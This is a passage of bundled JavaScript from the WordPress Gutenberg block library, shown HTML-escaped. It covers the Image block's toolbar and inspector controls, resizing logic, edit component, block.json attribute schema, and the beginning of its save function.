        showCoverControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_components56.ToolbarButton,
          {
            icon: overlay_text_default,
            label: (0, import_i18n93.__)(&quot;Add text over image&quot;),
            onClick: switchToCover
          }
        )
      ] }),
      isSingleSelected &amp;&amp; externalBlob &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.ToolbarButton,
        {
          onClick: uploadExternal,
          icon: upload_default,
          label: (0, import_i18n93.__)(&quot;Upload to Media Library&quot;)
        }
      ) }) }),
      isContentOnlyMode &amp;&amp; // Add some extra controls for content attributes when content only mode is active.
      // With content only mode active, the inspector is hidden, so users need another way
      // to edit these attributes.
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        ContentOnlyControls,
        {
          attributes: attributes2,
          setAttributes,
          lockAltControls,
          lockAltControlsMessage,
          lockTitleControls,
          lockTitleControlsMessage
        }
      ) }),
      !hasDataFormBlockFields &amp;&amp; isSingleSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { group: &quot;content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(
        import_components56.__experimentalToolsPanel,
        {
          label: (0, import_i18n93.__)(&quot;Media&quot;),
          resetAll: () =&gt; onSelectImage(void 0),
          dropdownMenuProps,
          children: [
            !lockUrlControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)(&quot;Image&quot;),
                hasValue: () =&gt; !!url,
                onDeselect: () =&gt; onSelectImage(void 0),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  MediaControl,
                  {
                    mediaId: id,
                    mediaUrl: url,
                    alt,
                    filename: image?.media_details?.sizes?.full?.file || image?.slug || (0, import_url9.getFilename)(url),
                    allowedTypes: ALLOWED_MEDIA_TYPES3,
                    onSelect: onSelectImage,
                    onSelectURL,
                    onError: onUploadError,
                    onReset: () =&gt; onSelectImage(void 0),
                    isUploading: !!temporaryURL || isSideloading,
                    emptyLabel: (0, import_i18n93.__)(&quot;Add image&quot;)
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)(&quot;Alternative text&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!alt,
                onDeselect: () =&gt; setAttributes({ alt: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.TextareaControl,
                  {
                    label: (0, import_i18n93.__)(&quot;Alternative text&quot;),
                    value: alt || &quot;&quot;,
                    onChange: updateAlt,
                    readOnly: lockAltControls,
                    help: lockAltControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
                      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                        import_components56.ExternalLink,
                        {
                          href: (
                            // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                            (0, import_i18n93.__)(
                              &quot;https://www.w3.org/WAI/tutorials/images/decision-tree/&quot;
                            )
                          ),
                          children: (0, import_i18n93.__)(
                            &quot;Describe the purpose of the image.&quot;
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(&quot;br&quot;, {}),
                      (0, import_i18n93.__)(
                        &quot;Leave empty if decorative.&quot;
                      )
                    ] })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(
        import_block_editor112.InspectorControls,
        {
          group: &quot;dimensions&quot;,
          resetAllFilter: (attrs) =&gt; ({
            ...attrs,
            aspectRatio: void 0,
            width: void 0,
            height: void 0,
            scale: void 0,
            focalPoint: void 0
          }),
          children: [
            dimensionsControl,
            url &amp;&amp; scale &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n93.__)(&quot;Focal point&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!focalPoint,
                onDeselect: () =&gt; setAttributes({
                  focalPoint: void 0
                }),
                panelId: clientId,
                children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.FocalPointPicker,
                  {
                    label: (0, import_i18n93.__)(&quot;Focal point&quot;),
                    url,
                    value: focalPoint,
                    onDragStart: imperativeFocalPointPreview,
                    onDrag: imperativeFocalPointPreview,
                    onChange: (newFocalPoint) =&gt; setAttributes({
                      focalPoint: newFocalPoint
                    })
                  }
                )
              }
            )
          ]
        }
      ),
      !!imageSizeOptions.length &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.__experimentalToolsPanel,
        {
          label: (0, import_i18n93.__)(&quot;Settings&quot;),
          resetAll: resetSettings,
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            ResolutionTool2,
            {
              value: sizeSlug,
              defaultValue: DEFAULT_MEDIA_SIZE_SLUG3,
              onChange: updateImage,
              options: imageSizeOptions
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n93.__)(&quot;Title attribute&quot;),
          value: title || &quot;&quot;,
          onChange: onSetTitle,
          readOnly: lockTitleControls,
          help: lockTitleControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockTitleControlsMessage }) : (0, import_element43.createInterpolateElement)(
            (0, import_i18n93.__)(
              &quot;Describe the role of this image on the page. &lt;a&gt;(Note: many devices and browsers do not display this text.)&lt;/a&gt;&quot;
            ),
            {
              a: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ExternalLink, { href: &quot;https://www.w3.org/TR/html52/dom.html#the-title-attribute&quot; })
            }
          )
        }
      ) })
    ] });
    const filename = (0, import_url9.getFilename)(url);
    let defaultedAlt;
    if (alt) {
      defaultedAlt = alt;
    } else if (filename) {
      defaultedAlt = (0, import_i18n93.sprintf)(
        /* translators: %s: file name */
        (0, import_i18n93.__)(&quot;This image has an empty alt attribute; its file name is %s&quot;),
        filename
      );
    } else {
      defaultedAlt = (0, import_i18n93.__)(&quot;This image has an empty alt attribute&quot;);
    }
    const borderProps = (0, import_block_editor112.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor112.__experimentalGetShadowClassesAndStyles)(attributes2);
    const isRounded = attributes2.className?.includes(&quot;is-style-rounded&quot;);
    const { postType, postId, queryId } = context;
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    let img = temporaryURL &amp;&amp; hasImageErrored ? (
      // Show a placeholder during upload when the blob URL can&#039;t be loaded. This can
      // happen when the user uploads a HEIC image in a browser that doesn&#039;t support them.
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Placeholder,
        {
          className: &quot;wp-block-image__placeholder&quot;,
          withIllustration: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.Spinner, {})
        }
      )
    ) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        &quot;img&quot;,
        {
          src: temporaryURL || url,
          alt: defaultedAlt,
          onError: onImageError,
          onLoad: onImageLoad,
          ref: setRefs,
          className: borderProps.className,
          width: naturalWidth,
          height: naturalHeight,
          style: {
            aspectRatio,
            ...resizeDelta ? {
              width: pixelSize.width + resizeDelta.width,
              height: pixelSize.height + resizeDelta.height
            } : { width, height },
            objectFit: scale,
            objectPosition: focalPoint &amp;&amp; scale ? mediaPosition2(focalPoint) : void 0,
            ...borderProps.style,
            ...shadowProps.style
          }
        }
      ),
      (temporaryURL || isSideloading) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.Spinner, {})
    ] });
    if (canEditImage &amp;&amp; isEditingImage) {
      img = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(ImageWrapper, { href, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_block_editor112.__experimentalImageEditor,
        {
          id,
          url,
          ...pixelSize,
          naturalHeight,
          naturalWidth,
          onSaveImage: (imageAttributes) =&gt; setAttributes(imageAttributes),
          onFinishEditing: () =&gt; {
            setIsEditingImage(false);
          },
          borderProps: isRounded ? void 0 : borderProps
        }
      ) });
    } else {
      img = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(ImageWrapper, { href, children: img });
    }
    let resizableBox;
    if (isResizable &amp;&amp; isSingleSelected &amp;&amp; !isEditingImage &amp;&amp; !SIZED_LAYOUTS.includes(parentLayoutType)) {
      const numericRatio = aspectRatio &amp;&amp; evalAspectRatio(aspectRatio);
      const customRatio = pixelSize.width / pixelSize.height;
      const naturalRatio = naturalWidth / naturalHeight;
      const ratio = numericRatio || customRatio || naturalRatio || 1;
      const minWidth = naturalWidth &lt; naturalHeight ? MIN_SIZE2 : MIN_SIZE2 * ratio;
      const minHeight = naturalHeight &lt; naturalWidth ? MIN_SIZE2 : MIN_SIZE2 / ratio;
      const maxWidthBuffer = maxWidth * 2.5;
      const maxResizeWidth = maxContentWidth || maxWidthBuffer;
      let showRightHandle = false;
      let showLeftHandle = false;
      if (align === &quot;center&quot;) {
        showRightHandle = true;
        showLeftHandle = true;
      } else if ((0, import_i18n93.isRTL)()) {
        if (align === &quot;left&quot;) {
          showRightHandle = true;
        } else {
          showLeftHandle = true;
        }
      } else {
        if (align === &quot;right&quot;) {
          showLeftHandle = true;
        } else {
          showRightHandle = true;
        }
      }
      resizableBox = /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.ResizableBox,
        {
          ref: effectResizeableBoxPlacement,
          style: {
            position: &quot;absolute&quot;,
            // To match the vertical-align: bottom of the img (from style.scss)
            // syncs the top with the img. This matters when the img height is
            // less than the line-height.
            inset: `${offsetTop}px 0 0 0`
          },
          size: pixelSize,
          minWidth,
          maxWidth: maxResizeWidth,
          minHeight,
          maxHeight: maxResizeWidth / ratio,
          lockAspectRatio: ratio,
          enable: {
            top: false,
            right: showRightHandle,
            bottom: true,
            left: showLeftHandle
          },
          onResizeStart: () =&gt; {
            toggleSelection(false);
          },
          onResize: (event, direction, elt, delta) =&gt; {
            setResizeDelta(delta);
          },
          onResizeStop: (event, direction, elt, delta) =&gt; {
            toggleSelection(true);
            setResizeDelta(null);
            setPixelSize((current) =&gt; ({
              width: current.width + delta.width,
              height: current.height + delta.height
            }));
            if (maxContentWidth &amp;&amp; // Only do this if the image is bigger than the container to prevent it from being squished.
            // TODO: Remove this check if the image support setting 100% width.
            naturalWidth &gt;= maxContentWidth &amp;&amp; Math.abs(elt.offsetWidth - maxContentWidth) &lt; 10) {
              setAttributes({
                width: void 0,
                height: void 0
              });
              return;
            }
            setAttributes({
              width: `${elt.offsetWidth}px`,
              height: &quot;auto&quot;,
              aspectRatio: ratio === naturalRatio ? void 0 : String(ratio)
            });
          },
          resizeRatio: align === &quot;center&quot; ? 2 : 1
        }
      );
    }
    if (!url &amp;&amp; !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
        mediaReplaceFlow,
        controls
      ] });
    }
    const setPostFeatureImage = () =&gt; {
      editEntityRecord(&quot;postType&quot;, postType, postId, {
        featured_media: id
      });
      createSuccessNotice((0, import_i18n93.__)(&quot;Post featured image updated.&quot;), {
        type: &quot;snackbar&quot;
      });
    };
    const featuredImageControl = !isDescendentOfQueryLoop &amp;&amp; postId &amp;&amp; id ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockSettingsMenuControls, { children: ({ canEdit, selectedClientIds }) =&gt; canEdit &amp;&amp; selectedClientIds.length === 1 &amp;&amp; clientId === selectedClientIds[0] &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.MenuItem, { onClick: setPostFeatureImage, children: (0, import_i18n93.__)(&quot;Set as featured image&quot;) }) }) : null;
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      editMediaButton,
      mediaReplaceFlow,
      controls,
      featuredImageControl,
      img,
      resizableBox,
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        Caption,
        {
          attributes: attributes2,
          setAttributes,
          isSelected: isSingleSelected,
          insertBlocksAfter,
          label: (0, import_i18n93.__)(&quot;Image caption text&quot;),
          showToolbarButton: isSingleSelected &amp;&amp; (hasNonContentControls || isContentOnlyMode) &amp;&amp; !hideCaptionControls
        }
      )
    ] });
  }

  // packages/block-library/build-module/image/use-max-width-observer.mjs
  var import_element44 = __toESM(require_element(), 1);
  var import_compose23 = __toESM(require_compose(), 1);
  var import_jsx_runtime279 = __toESM(require_jsx_runtime(), 1);
  function useMaxWidthObserver() {
    const [contentResizeListener, { width }] = (0, import_compose23.useResizeObserver)();
    const observerRef = (0, import_element44.useRef)();
    const maxWidthObserver = /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(
      &quot;div&quot;,
      {
        className: &quot;wp-block&quot;,
        &quot;aria-hidden&quot;: &quot;true&quot;,
        style: {
          position: &quot;absolute&quot;,
          inset: 0,
          width: &quot;100%&quot;,
          height: 0,
          margin: 0
        },
        ref: observerRef,
        children: contentResizeListener
      }
    );
    return [maxWidthObserver, width];
  }

  // packages/block-library/build-module/image/edit.mjs
  var import_jsx_runtime280 = __toESM(require_jsx_runtime(), 1);
  var pickRelevantMediaFiles2 = (image, size) =&gt; {
    const imageProps = Object.fromEntries(
      Object.entries(image ?? {}).filter(
        ([key]) =&gt; [&quot;alt&quot;, &quot;id&quot;, &quot;link&quot;, &quot;caption&quot;].includes(key)
      )
    );
    imageProps.url = image?.sizes?.[size]?.url || image?.media_details?.sizes?.[size]?.source_url || image.url;
    return imageProps;
  };
  var isExternalImage = (id, url) =&gt; url &amp;&amp; !id &amp;&amp; !(0, import_blob12.isBlobURL)(url);
  function hasSize(image, size) {
    return &quot;url&quot; in (image?.sizes?.[size] ?? {}) || &quot;source_url&quot; in (image?.media_details?.sizes?.[size] ?? {});
  }
  function ImageEdit({
    attributes: attributes2,
    setAttributes,
    isSelected: isSingleSelected,
    className,
    insertBlocksAfter,
    onReplace,
    context,
    clientId,
    __unstableParentLayout: parentLayout
  }) {
    const {
      url = &quot;&quot;,
      caption,
      id,
      width,
      height,
      sizeSlug,
      aspectRatio,
      scale,
      align,
      metadata
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element45.useState)(attributes2.blob);
    const containerRef = (0, import_element45.useRef)();
    const layoutType = parentLayout?.type || parentLayout?.default?.type;
    const isMaxWidthContainerWidth = !layoutType || layoutType !== &quot;flex&quot; &amp;&amp; layoutType !== &quot;grid&quot;;
    const [maxWidthObserver, maxContentWidth] = useMaxWidthObserver();
    const [placeholderResizeListener, { width: placeholderWidth }] = (0, import_compose24.useResizeObserver)();
    const isSmallContainer = placeholderWidth &amp;&amp; placeholderWidth &lt; 160;
    const captionRef = (0, import_element45.useRef)();
    (0, import_element45.useEffect)(() =&gt; {
      captionRef.current = caption;
    }, [caption]);
    const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0, import_data48.useDispatch)(import_block_editor113.store);
    (0, import_element45.useEffect)(() =&gt; {
      if ([&quot;wide&quot;, &quot;full&quot;].includes(align)) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          width: void 0,
          height: void 0,
          aspectRatio: void 0,
          scale: void 0
        });
      }
    }, [__unstableMarkNextChangeAsNotPersistent, align, setAttributes]);
    const {
      getSettings: getSettings2,
      getBlockRootClientId,
      getBlockName,
      canInsertBlockType
    } = (0, import_data48.useSelect)(import_block_editor113.store);
    const blockEditingMode = (0, import_block_editor113.useBlockEditingMode)();
    const { createErrorNotice } = (0, import_data48.useDispatch)(import_notices8.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
      setAttributes({
        src: void 0,
        id: void 0,
        url: void 0,
        blob: void 0
      });
    }
    function onSelectImagesList(images) {
      const win = containerRef.current?.ownerDocument.defaultView;
      if (images.every((file) =&gt; file instanceof win.File)) {
        const files = images;
        const rootClientId = getBlockRootClientId(clientId);
        if (files.some((file) =&gt; !isValidFileType(file))) {
          createErrorNotice(
            (0, import_i18n94.__)(
              &quot;If uploading to a gallery all files need to be image formats&quot;
            ),
            { id: &quot;gallery-upload-invalid-file&quot;, type: &quot;snackbar&quot; }
          );
        }
        const imageBlocks = files.filter((file) =&gt; isValidFileType(file)).map(
          (file) =&gt; (0, import_blocks38.createBlock)(&quot;core/image&quot;, {
            blob: (0, import_blob12.createBlobURL)(file)
          })
        );
        if (getBlockName(rootClientId) === &quot;core/gallery&quot;) {
          replaceBlock(clientId, imageBlocks);
        } else if (canInsertBlockType(&quot;core/gallery&quot;, rootClientId)) {
          const galleryBlock = (0, import_blocks38.createBlock)(
            &quot;core/gallery&quot;,
            {},
            imageBlocks
          );
          replaceBlock(clientId, galleryBlock);
        }
      }
    }
    function onSelectImage(media) {
      if (Array.isArray(media)) {
        onSelectImagesList(media);
        return;
      }
      if (!media || !media.url) {
        setAttributes({
          url: void 0,
          alt: void 0,
          id: void 0,
          title: void 0,
          caption: void 0,
          blob: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob12.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      const { imageDefaultSize } = getSettings2();
      let newSize = DEFAULT_MEDIA_SIZE_SLUG3;
      if (sizeSlug &amp;&amp; hasSize(media, sizeSlug)) {
        newSize = sizeSlug;
      } else if (hasSize(media, imageDefaultSize)) {
        newSize = imageDefaultSize;
      }
      let mediaAttributes = pickRelevantMediaFiles2(media, newSize);
      if (typeof mediaAttributes.caption === &quot;string&quot; &amp;&amp; mediaAttributes.caption.includes(&quot;\n&quot;)) {
        mediaAttributes.caption = mediaAttributes.caption.replace(
          /\n/g,
          &quot;&lt;br&gt;&quot;
        );
      }
      if (captionRef.current &amp;&amp; !mediaAttributes.caption) {
        const { caption: omittedCaption, ...restMediaAttributes } = mediaAttributes;
        mediaAttributes = restMediaAttributes;
      }
      let additionalAttributes;
      if (!media.id || media.id !== id) {
        additionalAttributes = {
          sizeSlug: newSize
        };
      }
      let linkDestination = attributes2.linkDestination;
      if (!linkDestination) {
        switch (window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE2) {
          case &quot;file&quot;:
          case LINK_DESTINATION_MEDIA2:
            linkDestination = LINK_DESTINATION_MEDIA2;
            break;
          case &quot;post&quot;:
          case LINK_DESTINATION_ATTACHMENT2:
            linkDestination = LINK_DESTINATION_ATTACHMENT2;
            break;
          case LINK_DESTINATION_CUSTOM:
            linkDestination = LINK_DESTINATION_CUSTOM;
            break;
          case LINK_DESTINATION_NONE2:
            linkDestination = LINK_DESTINATION_NONE2;
            break;
        }
      }
      let href;
      switch (linkDestination) {
        case LINK_DESTINATION_MEDIA2:
          href = media.url;
          break;
        case LINK_DESTINATION_ATTACHMENT2:
          href = media.link;
          break;
      }
      mediaAttributes.href = href;
      setAttributes({
        blob: void 0,
        ...mediaAttributes,
        ...additionalAttributes,
        linkDestination
      });
      setTemporaryURL();
    }
    function onSelectURL(newURL) {
      const normalizedNewURL = (0, import_url10.getProtocol)(newURL) ? newURL : (0, import_url10.prependHTTPS)(newURL);
      if (normalizedNewURL !== url) {
        setAttributes({
          blob: void 0,
          url: normalizedNewURL,
          id: void 0,
          sizeSlug: getSettings2().imageDefaultSize
        });
        setTemporaryURL();
      }
    }
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES3,
      onChange: onSelectImage,
      onError: onUploadError
    });
    const isExternal = isExternalImage(id, url);
    const src = isExternal ? url : void 0;
    const isSideloading = (0, import_data48.useSelect)(
      (select9) =&gt; {
        if (!window.__clientSideMediaProcessing || !id) {
          return false;
        }
        return select9(import_upload_media.store).isUploadingById(id);
      },
      [id]
    );
    const mediaPreview = !!url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
      &quot;img&quot;,
      {
        alt: (0, import_i18n94.__)(&quot;Edit image&quot;),
        title: (0, import_i18n94.__)(&quot;Edit image&quot;),
        className: &quot;edit-image-preview&quot;,
        src: url
      }
    );
    const borderProps = (0, import_block_editor113.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor113.__experimentalGetShadowClassesAndStyles)(attributes2);
    const classes = clsx_default(className, {
      &quot;is-transient&quot;: !!temporaryURL || isSideloading,
      &quot;is-resized&quot;: !!width || !!height,
      [`size-${sizeSlug}`]: sizeSlug,
      &quot;has-custom-border&quot;: !!borderProps.className || borderProps.style &amp;&amp; Object.keys(borderProps.style).length &gt; 0
    });
    const blockProps = (0, import_block_editor113.useBlockProps)({
      ref: containerRef,
      className: classes
    });
    const { lockUrlControls = false, lockUrlControlsMessage } = (0, import_data48.useSelect)(
      (select9) =&gt; {
        if (!isSingleSelected) {
          return {};
        }
        const blockBindingsSource = (0, import_blocks38.getBlockBindingsSource)(
          metadata?.bindings?.url?.source
        );
        return {
          lockUrlControls: !!metadata?.bindings?.url &amp;&amp; !blockBindingsSource?.canUserEditValue?.({
            select: select9,
            context,
            args: metadata?.bindings?.url?.args
          }),
          lockUrlControlsMessage: blockBindingsSource?.label ? (0, import_i18n94.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n94.__)(&quot;Connected to %s&quot;),
            blockBindingsSource.label
          ) : (0, import_i18n94.__)(&quot;Connected to dynamic data&quot;)
        };
      },
      [context, isSingleSelected, metadata?.bindings?.url]
    );
    const placeholder2 = (content) =&gt; {
      return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(
        import_components57.Placeholder,
        {
          className: clsx_default(&quot;block-editor-media-placeholder&quot;, {
            [borderProps.className]: !!borderProps.className &amp;&amp; !isSingleSelected
          }),
          icon: !isSmallContainer &amp;&amp; (lockUrlControls ? plugins_default : image_default),
          withIllustration: !isSingleSelected || isSmallContainer,
          label: !isSmallContainer &amp;&amp; (0, import_i18n94.__)(&quot;Image&quot;),
          instructions: !lockUrlControls &amp;&amp; !isSmallContainer &amp;&amp; (0, import_i18n94.__)(
            &quot;Drag and drop an image, upload, or choose from your library.&quot;
          ),
          style: {
            aspectRatio: !(width &amp;&amp; height) &amp;&amp; aspectRatio ? aspectRatio : void 0,
            width: height &amp;&amp; aspectRatio ? &quot;100%&quot; : width,
            height: width &amp;&amp; aspectRatio ? &quot;100%&quot; : height,
            objectFit: scale,
            ...borderProps.style,
            ...shadowProps.style
          },
          children: [
            lockUrlControls &amp;&amp; !isSmallContainer &amp;&amp; lockUrlControlsMessage,
            !lockUrlControls &amp;&amp; !isSmallContainer &amp;&amp; content,
            placeholderResizeListener
          ]
        }
      );
    };
    return /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(import_jsx_runtime280.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime280.jsxs)(&quot;figure&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
          Image2,
          {
            temporaryURL,
            isSideloading,
            attributes: attributes2,
            setAttributes,
            isSingleSelected,
            insertBlocksAfter,
            onReplace,
            onSelectImage,
            onSelectURL,
            onUploadError,
            context,
            clientId,
            blockEditingMode,
            parentLayoutType: layoutType,
            maxContentWidth
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(
          import_block_editor113.MediaPlaceholder,
          {
            icon: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(import_block_editor113.BlockIcon, { icon: image_default }),
            onSelect: onSelectImage,
            onSelectURL,
            onError: onUploadError,
            placeholder: placeholder2,
            allowedTypes: ALLOWED_MEDIA_TYPES3,
            handleUpload: (files) =&gt; files.length === 1,
            value: { id, src },
            mediaPreview,
            disableMediaButtons: temporaryURL || url
          }
        )
      ] }),
      // The listener cannot be placed as the first element as it will break the in-between inserter.
      // See https://github.com/WordPress/gutenberg/blob/71134165868298fc15e22896d0c28b41b3755ff7/packages/block-editor/src/components/block-list/use-in-between-inserter.js#L120
      isSingleSelected &amp;&amp; isMaxWidthContainerWidth &amp;&amp; maxWidthObserver
    ] });
  }
  var edit_default18 = ImageEdit;

  // packages/block-library/build-module/image/block.json
  var block_default44 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/image&quot;,
    title: &quot;Image&quot;,
    category: &quot;media&quot;,
    usesContext: [
      &quot;allowResize&quot;,
      &quot;imageCrop&quot;,
      &quot;fixedHeight&quot;,
      &quot;navigationButtonType&quot;,
      &quot;postId&quot;,
      &quot;postType&quot;,
      &quot;queryId&quot;,
      &quot;galleryId&quot;
    ],
    description: &quot;Insert an image to make a visual statement.&quot;,
    keywords: [&quot;img&quot;, &quot;photo&quot;, &quot;picture&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      blob: {
        type: &quot;string&quot;,
        role: &quot;local&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      lightbox: {
        type: &quot;object&quot;,
        enabled: {
          type: &quot;boolean&quot;
        }
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      width: {
        type: &quot;string&quot;
      },
      height: {
        type: &quot;string&quot;
      },
      aspectRatio: {
        type: &quot;string&quot;
      },
      scale: {
        type: &quot;string&quot;
      },
      focalPoint: {
        type: &quot;object&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      interactivity: true,
      align: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;, &quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      spacing: {
        margin: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      },
      shadow: {
        __experimentalSkipSerialization: true
      }
    },
    selectors: {
      border: &quot;.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder&quot;,
      shadow: &quot;.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder&quot;,
      filter: {
        duotone: &quot;.wp-block-image img, .wp-block-image .components-placeholder&quot;
      }
    },
    styles: [
      {
        name: &quot;default&quot;,
        label: &quot;Default&quot;,
        isDefault: true
      },
      { name: &quot;rounded&quot;, label: &quot;Rounded&quot; }
    ],
    editorStyle: &quot;wp-block-image-editor&quot;,
    style: &quot;wp-block-image&quot;
  };

  // packages/block-library/build-module/image/save.mjs
  var import_block_editor114 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime281 = __toESM(require_jsx_runtime(), 1);
  function save26({ attributes: attributes2 }) {
    const {
      url,
      alt,
      caption,
      align,
      href,
      rel,
      linkClass,
      width,
      height,
      aspectRatio,
      scale,
      focalPoint,
      id,
      linkTarget,
      sizeSlug,
      title,
      metadata: { bindings = {} } = {}
    } = attributes2;
    const newRel = !rel ? void 0 : rel;
    const borderProps = (0, import_block_editor114.__experimentalGetBorderClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor114.__experimentalGetShadowClassesAndStyles)(attributes2);
    const classes = clsx_default({
      // All other align classes are handled by block supports.
      // `{ align: &#039;none&#039; }` is unique to transforms for the image block.
      alignnone: &quot;none&quot; === align,
      [`size-${sizeSlug}`]: sizeSlug,
      &quot;is-resized&quot;: width || height,
